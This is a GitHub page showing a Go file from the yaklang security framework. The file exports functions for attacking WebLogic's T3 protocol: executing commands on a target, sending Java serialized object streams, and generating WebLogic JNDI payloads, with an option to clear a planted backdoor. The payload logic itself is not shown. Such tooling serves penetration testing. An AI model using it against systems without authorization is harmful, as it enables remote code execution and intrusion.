-
Notifications
You must be signed in to change notification settings - Fork 45
/
exports.go
62 lines (54 loc) · 1.59 KB
/
exports.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package t3
import (
"github.com/yaklang/yaklang/common/log"
"github.com/yaklang/yaklang/common/utils"
)
func _execT3(addr string, cmd string, f ...OptionFun) (string, error) {
f = append(f, SetAddr(addr))
var payload = NewT3Payload(f...)
var result, err = payload.Exec(cmd)
if err != nil {
return "", utils.Errorf("paylaod exec failed: %s", err)
}
return result, nil
}
func SendSreamBytes(addr string, acedBytes interface{}, f ...OptionFun) error {
f = append(f, SetAddr(addr))
var payload = NewT3Payload(f...)
return payload.SendPayload(utils.InterfaceToBytes(acedBytes))
}
func SetAddr(addr string) OptionFun {
return func(t *T3Paylaod) {
host, port, err := utils.ParseStringToHostPort(addr)
if err != nil {
log.Errorf("parse [%s] failed: %s", addr, err)
return
}
t.Ip, t.Port = host, port
}
}
func SetTimeout(duration float64) OptionFun {
return func(t *T3Paylaod) {
t.timeout = utils.FloatSecondDuration(duration)
}
}
func SetClearBackdoor(clear bool) OptionFun {
return func(paylaod *T3Paylaod) {
paylaod.clearBackdoor = clear
}
}
func SetDebugHandler(handler func(string)) OptionFun {
return func(paylaod *T3Paylaod) {
paylaod.handler = handler
}
}
var GenExecPayload = genPayload
var Exports = map[string]interface{}{
"ExecCommand": _execT3,
"SendJavaObjectStreamBytes": SendSreamBytes,
"GenerateJavaObjectStreamBytes": GenExecPayload,
"GenerateWeblogicJNDIPayload": GenerateWeblogicJNDIPayload,
"timeout": SetTimeout,
"clearBackdoor": SetClearBackdoor,
"debugHandler": SetDebugHandler,
}